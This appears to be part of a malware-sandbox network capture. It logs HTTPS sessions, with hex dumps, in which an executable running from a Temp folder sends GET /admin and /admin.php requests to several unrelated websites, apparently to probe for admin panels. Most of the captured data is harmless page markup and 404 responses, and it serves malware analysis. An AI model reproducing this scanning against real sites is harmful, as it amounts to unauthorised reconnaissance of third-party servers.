2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 29 28 29 3b 0a 09 09 09 09 09 09 09 09 09 7d 0a 09 09 09 3c 2f 73 63 72 69 70 74 3e 0a 09 09 09 09 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 27 70 72 65 6c 6f 61 64 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 2e 63 6f 6d 2f 6c 69 62 2f 63 73 73 2f 64 69 73 74 2f 62 6c 6f 63 6b 2d 6c 69 62 72 61 72 79 2f 73 74 79 6c 65 2e 6d 69 6e 2e 63 73 73 27 20 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 3d 22 73 74 79 6c 65 22 20 61 73 3d 22 73 74 79 6c 65 22 20 6f 6e 6c 6f 61 64 3d 22 74 68 69 73 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 3b 74 68 69 73 2e 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 22 20 6f 6e 65 72 72 6f 72 3d 22 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d Data Ascii: )();}</script><link rel='preload' href='https://www.a2b-internet.com/lib/css/dist/block-library/style.min.css' data-rocket-async="style" as="style" onload="this.onload=null;this.rel='stylesheet'" onerror="this.removeAttribute('data-
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 7b 66 6c 65 78 2d 77 72 61 70 3a 20 77 72 61 70 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 7d 62 6f 64 79 20 2e 69 73 2d 6c 61 79 6f 75 74 2d 66 6c 65 78 20 3e 20 2a 7b 6d 61 72 67 69 6e 3a 20 30 3b 7d 62 6f 64 79 7b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 30 70 78 3b 7d 61 3a 77 68 65 72 65 28 3a 6e 6f 74 28 2e 77 70 2d 65 6c 65 6d 65 6e 74 2d 62 75 74 74 6f 6e 29 29 7b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 7d 2e 77 70 2d 65 6c 65 6d 65 6e 74 2d 62 75 74 74 6f 6e 2c 20 2e 77 70 2d 62 6c 6f 63 6b 2d 62 75 74 74 6f 6e 5f 5f 6c Data Ascii: {flex-wrap: wrap;align-items: center;}body .is-layout-flex > *{margin: 0;}body{padding-top: 0px;padding-right: 0px;padding-bottom: 0px;padding-left: 0px;}a:where(:not(.wp-element-button)){text-decoration: underline;}.wp-element-button, .wp-block-button__l
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 6c 65 2d 73 74 61 74 69 63 2e 6d 69 6e 2e 63 73 73 27 20 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 3d 22 73 74 79 6c 65 22 20 61 73 3d 22 73 74 79 6c 65 22 20 6f 6e 6c 6f 61 64 3d 22 74 68 69 73 2e 6f 6e 6c 6f 61 64 3d 6e 75 6c 6c 3b 74 68 69 73 2e 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 22 20 6f 6e 65 72 72 6f 72 3d 22 74 68 69 73 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 27 64 61 74 61 2d 72 6f 63 6b 65 74 2d 61 73 79 6e 63 27 29 22 20 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 64 61 74 61 2d 6d 69 6e 69 66 79 3d 22 31 22 20 72 65 6c 3d 27 70 72 65 6c 6f 61 64 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 61 32 62 2d 69 6e 74 65 72 6e 65 74 Data Ascii: le-static.min.css' data-rocket-async="style" as="style" onload="this.onload=null;this.rel='stylesheet'" onerror="this.removeAttribute('data-rocket-async')" type='text/css' media='all' /><link data-minify="1" rel='preload' href='https://www.a2b-internet
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 74 69 74 6c 65 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 73 65 63 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 74 69 74 6c 65 5f 66 65 61 74 75 72 65 64 5f 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 68 65 61 64 65 72 3a 6e 6f 74 28 2e 65 74 5f 70 62 5f 66 75 6c 6c 73 63 72 65 65 6e 29 20 2e 65 74 5f 70 62 5f 66 75 6c 6c 77 69 64 74 68 5f 68 65 61 64 65 72 5f 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 78 2d 77 69 64 74 68 3a 31 32 38 30 70 78 7d 2e 65 74 5f 62 6f 78 65 64 5f 6c 61 79 6f 75 74 20 23 70 61 67 65 2d 63 6f 6e 74 61 69 6e 65 72 2c 2e 65 74 5f 62 6f 78 65 64 5f 6c 61 79 6f 75 74 2e 65 74 5f 6e 6f 6e 5f 66 69 78 65 64 5f 6e 61 76 2e 65 74 5f 74 Data Ascii: ction .et_pb_title_container,.et_pb_fullwidth_section .et_pb_title_featured_container,.et_pb_fullwidth_header:not(.et_pb_fullscreen) .et_pb_fullwidth_header_container{max-width:1280px}.et_boxed_layout #page-container,.et_boxed_layout.et_non_fixed_nav.et_t
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 68 32 2c 2e 65 74 5f 70 62 5f 66 69 6c 74 65 72 61 62 6c 65 5f 70 6f 72 74 66 6f 6c 69 6f 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c 69 6f 5f 69 74 65 6d 20 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 7d 2e 65 74 5f 70 62 5f 73 6c 69 64 65 72 2e 65 74 5f 70 62 5f 6d 6f 64 75 6c 65 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 73 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 5f 64 65 73 63 72 69 70 74 69 6f 6e 20 2e 65 74 5f 70 62 5f 73 6c 69 64 65 5f 74 69 74 6c 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 33 35 70 78 7d 2e 65 74 5f 70 62 5f 67 61 6c 6c 65 72 79 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 67 61 6c 6c 65 72 79 5f 69 74 65 6d 20 68 33 2c 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c 69 6f 5f 67 72 69 64 20 2e 65 74 5f 70 62 5f 70 6f 72 74 66 6f 6c Data Ascii: h2,.et_pb_filterable_portfolio_grid .et_pb_portfolio_item h2{font-size:13px}.et_pb_slider.et_pb_module .et_pb_slides .et_pb_slide_description .et_pb_slide_title{font-size:35px}.et_pb_gallery_grid .et_pb_gallery_item h3,.et_pb_portfolio_grid .et_pb_portfol
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 30 70 78 7d 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 20 6c 69 2c 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 2d 2d 6c 69 67 68 74 20 6c 69 7b 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 31 2e 34 65 6d 3b 74 65 78 74 2d 69 6e 64 65 6e 74 3a 2d 33 30 70 78 7d 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 20 6c 69 3a 62 65 66 6f 72 65 2c 2e 61 32 62 2d 2d 63 75 73 74 6f 6d 2d 62 75 6c 6c 65 74 73 2d 2d 6c 69 67 68 74 20 6c 69 3a 62 65 66 6f 72 65 7b 63 6f 6e 74 65 6e 74 3a 22 22 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 32 30 70 78 Data Ascii: {padding-left:10px}.a2b--custom-bullets li,.a2b--custom-bullets--light li{list-style:none;padding-left:1.4em;text-indent:-30px}.a2b--custom-bullets li:before,.a2b--custom-bullets--light li:before{content:"";background-repeat:no-repeat;background-size:20px
2023-12-20 02:13:38 UTC	8000	IN	Data Raw: 6c 75 65 73 3d 22 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 2e 32 39 39 20 2e 35 38 37 20 2e 31 31 34 20 30 20 30 20 22 20 2f 3e 3c 66 65 43 6f 6d 70 6f 6e 65 6e 74 54 72 61 6e 73 66 65 72 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 20 3e 3c 66 65 46 75 6e 63 52 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 2e 30 39 38 30 33 39 32 31 35 36 38 36 32 37 35 20 31 22 20 2f 3e 3c 66 65 46 75 6e 63 47 20 74 79 70 65 3d 22 74 61 62 6c 65 22 20 74 61 62 6c 65 56 61 6c 75 65 73 3d 22 30 20 30 2e 36 36 32 37 34 35 30 39 38 30 33 39 32 32 Data Ascii: lues=" .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 .299 .587 .114 0 0 " /><feComponentTransfer color-interpolation-filters="sRGB" ><feFuncR type="table" tableValues="0.098039215686275 1" /><feFuncG type="table" tableValues="0 0.66274509803922

Session ID	Source IP	Source Port	Destination IP	Destination Port
370	192.168.2.4	49540	3.33.130.190	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:37 UTC	319	OUT	GET /admin HTTP/1.1 Host: ornos.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_AYAXc1Bs0efieIDgB5kpgOvxAuu9xbwhAtZ0LBKU1WUaB9IsrVgwRmCOviQPt+Yuvx0RdpWV3j4v5cwIxzX1vQ Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:38 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port
371	192.168.2.4	49339	199.34.228.152	443

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	175	OUT	GET /admin HTTP/1.1 Host: www.lisvankooten.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	660	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:38 GMT Server: Apache Vary: X-W-SSL,User-Agent Set-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:38 GMT; Max-Age=1209600; path=/ Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:38 GMT; Max-Age=315360000; path=/ Cache-Control: private X-Host: grn47.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 3909 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:38 UTC	708	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 67 64 70 72 2f 67 64 70 72 73 63 72 69 70 74 2e 6a 73 3f 62 75 69 6c 64 54 69 6d 65 3d 31 37 30 33 30 31 37 34 32 36 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 61 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en"><head><script src="/gdpr/gdprscript.js?buildTime=1703017426"></script><title>404 - Pa
2023-12-20 02:13:38 UTC	3201	IN	Data Raw: 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 22 29 3b 0a 09 09 09 73 72 63 3a 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 65 6f 74 3f 23 69 65 66 69 78 22 29 20 66 6f 72 6d 61 74 28 22 65 6d 62 65 64 64 65 64 2d 6f 70 65 6e 74 79 70 65 22 29 2c 20 75 72 6c 28 22 2f 2f 63 64 6e 32 2e 65 64 69 74 6d 79 73 69 74 65 2e 63 6f 6d 2f 63 6f 6d 70 6f 6e 65 6e 74 73 2f 75 69 2d 66 72 61 6d 65 77 6f 72 6b 2f 66 6f 6e 74 73 2f 70 72 6f 78 69 6d 61 2d 6e 6f 76 61 2d 6c 69 67 68 74 2f 33 31 41 43 39 36 5f 30 5f 30 2e 77 6f 66 66 Data Ascii: va-light/31AC96_0_0.eot");src: url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.eot?#iefix") format("embedded-opentype"), url("//cdn2.editmysite.com/components/ui-framework/fonts/proxima-nova-light/31AC96_0_0.woff

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
372	192.168.2.4	49823	77.72.0.94	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	170	OUT	GET /admin HTTP/1.1 Host: lunarrastar.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	434	IN	HTTP/1.1 404 Not Found Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 1238 date: Wed, 20 Dec 2023 02:13:38 GMT server: LiteSpeed vary: User-Agent alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
2023-12-20 02:13:38 UTC	934	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 404 Not Found</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, s
2023-12-20 02:13:38 UTC	304	IN	Data Raw: 35 2c 20 30 2e 33 29 20 69 6e 73 65 74 3b 22 3e 0a 3c 62 72 3e 50 72 6f 75 64 6c 79 20 70 6f 77 65 72 65 64 20 62 79 20 20 3c 61 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 66 66 3b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 6c 69 74 65 73 70 65 65 64 74 65 63 68 2e 63 6f 6d 2f 65 72 72 6f 72 2d 70 61 67 65 22 3e 4c 69 74 65 53 70 65 65 64 20 57 65 62 20 53 65 72 76 65 72 3c 2f 61 3e 3c 70 3e 50 6c 65 61 73 65 20 62 65 20 61 64 76 69 73 65 64 20 74 68 61 74 20 4c 69 74 65 53 70 65 65 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 20 69 73 20 6e 6f 74 20 61 20 77 65 62 20 68 6f 73 74 69 6e 67 20 63 6f 6d 70 61 6e 79 20 61 6e 64 2c 20 61 73 20 73 75 63 68 2c 20 68 61 73 20 6e 6f 20 63 6f 6e 74 72 6f 6c 20 6f 76 65 72 20 63 6f 6e Data Ascii: 5, 0.3) inset;"><br>Proudly powered by <a style="color:#fff;" href="http://www.litespeedtech.com/error-page">LiteSpeed Web Server</a><p>Please be advised that LiteSpeed Technologies Inc. is not a web hosting company and, as such, has no control over con

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
373	192.168.2.4	50100	199.60.103.2	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:38 UTC	412	OUT	GET /admin.php HTTP/1.1 Host: www.greenlawnfertilizing.com Accept: / Accept-Encoding: deflate, gzip Cookie: __cfruid=96d05ef646f3836be2e57de4c39861ecdf49ab4f-1703038414; __cf_bm=yVhlr5MeNvm9nwISYn5vZTkoQGjnLA.Eq0SJLjSG2GQ-1703038414-1-AaqHFhIlwdYhTPbV8Us0b6GycSh7GFyjbPGB+LbzH4Eljr1H7OE79yhoat8fSdlsiC1Yj84MoqfEg1j5KMaI41g= User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:38 UTC	1344	IN	HTTP/1.1 404 Not Found Date: Wed, 20 Dec 2023 02:13:38 GMT Content-Type: text/html;charset=utf-8 Transfer-Encoding: chunked Connection: close CF-Ray: 83845e02fe390996-MIA CF-Cache-Status: EXPIRED Cache-Control: s-maxage=5,max-age=5 Strict-Transport-Security: max-age=31536000 Vary: origin, Accept-Encoding Access-Control-Allow-Credentials: false Content-Security-Policy: upgrade-insecure-requests X-Content-Type-Options: nosniff x-envoy-upstream-service-time: 34 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-9q2p2 x-evy-trace-virtual-host: all X-Hs-Https-Only: worker X-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMT X-HS-Reason: No view mapper found to handle request X-HubSpot-Correlation-Id: af0a4a60-bfc5-4e9d-ae66-7d37503e4f12 X-HubSpot-NotFound: true x-request-id: af0a4a60-bfc5-4e9d-ae66-7d37503e4f12 X-Trace: 2B61398763C851206A597958C44E38982366D3AA50000000000000000000 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=4BqHJ4hBFh6SKjASdkDtowmnmdBWACJ4hnXKIAGDj%2BCqSAYXgz1b9Kz5U1xyKj2d%2FkWevXmKS%2BBVl76cgnmgUZLvBHar9VqohyrHVe%2BISFlO3GTMFHj4Ix715PsXrWjGHy89JwuJn2vjhIJRbW4%3D"}],"group":"cf-nel","max_age":604800}
2023-12-20 02:13:38 UTC	122	IN	Data Raw: 4e 45 4c 3a 20 7b 22 73 75 63 63 65 73 73 5f 66 72 61 63 74 69 6f 6e 22 3a 30 2e 30 31 2c 22 72 65 70 6f 72 74 5f 74 6f 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}Server: cloudflarealt-svc: h3=":443"; ma=86400
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 37 66 65 61 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 74 69 74 6c 65 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 72 65 65 6e 6c 61 77 6e 66 65 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 68 75 62 66 73 2f 64 6f 77 6e 6c 6f 61 64 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 Data Ascii: 7fea<!doctype html><html lang="en"><head> <meta charset="utf-8"> <title> </title><link rel="shortcut icon" href="https://www.greenlawnfertilizing.com/hubfs/download.png"> <meta name="viewport" content="width=device-width, initial-scale=1
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 72 74 69 6c 69 7a 69 6e 67 2e 63 6f 6d 2f 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 23 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 22 2c 0a 20 20 22 69 64 65 6e 74 69 66 69 65 72 22 3a 20 5b 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 74 64 77 77 6e 62 62 22 2c 0a 20 20 20 20 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 73 65 61 72 63 68 3f 71 3d 47 72 65 65 6e 2b 4c 61 77 6e 2b 46 65 72 74 69 6c 69 7a 69 6e 67 26 6b 70 6f 6e 6c 79 26 6b 67 6d 69 64 3d 2f 67 2f 31 31 67 66 6a 73 38 32 6b 6c 22 2c 0a 20 20 20 20 0a 20 20 20 Data Ascii: rtilizing.com/#organization#organization", "identifier": [ "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/1tdwwnbb", "https://www.google.com/search?q=Green+Lawn+Fertilizing&kponly&kgmid=/g/11gfjs82kl",
2023-12-20 02:13:38 UTC	1369	IN	Data Raw: 68 20 6f 76 65 72 20 32 30 20 74 68 6f 75 73 61 6e 64 20 61 63 74 69 76 65 20 63 75 73 74 6f 6d 65 72 73 20 77 68 6f 20 6c 6f 76 65 20 74 68 65 69 72 20 62 65 61 75 74 69 66 75 6c 20 6c 75 73 68 20 67 72 65 65 6e 20 67 72 61 73 73 2e 20 4f 75 72 20 70 72 6f 66 65 73 73 69 6f 6e 61 6c 20 73 74 61 66 66 20 61 72 65 20 64 65 64 69 63 61 74 65 64 20 74 6f 20 70 72 6f 76 69 64 69 6e 67 20 73 75 70 65 72 69 6f 72 20 73 65 72 76 69 63 65 20 66 6f 72 20 61 6c 6c 20 74 79 70 65 73 20 6f 66 20 70 72 6f 70 65 72 74 69 65 73 20 69 6e 63 6c 75 64 69 6e 67 20 63 6f 6d 6d 65 72 63 69 61 6c 20 62 75 73 69 6e 65 73 73 65 73 20 69 6e 20 6e 65 65 64 20 6f 72 20 72 65 67 75 6c 61 72 20 66 65 72 74 69 6c 69 7a 69 6e 67 20 73 63 68 65 64 75 6c 65 73 21 22 22 2c 0a 20 20 20 20 Data Ascii: h over 20 thousand active customers who love their beautiful lush green grass. Our professional staff are dedicated to providing superior service for all types of properties including commercial businesses in need or regular fertilizing schedules!"",
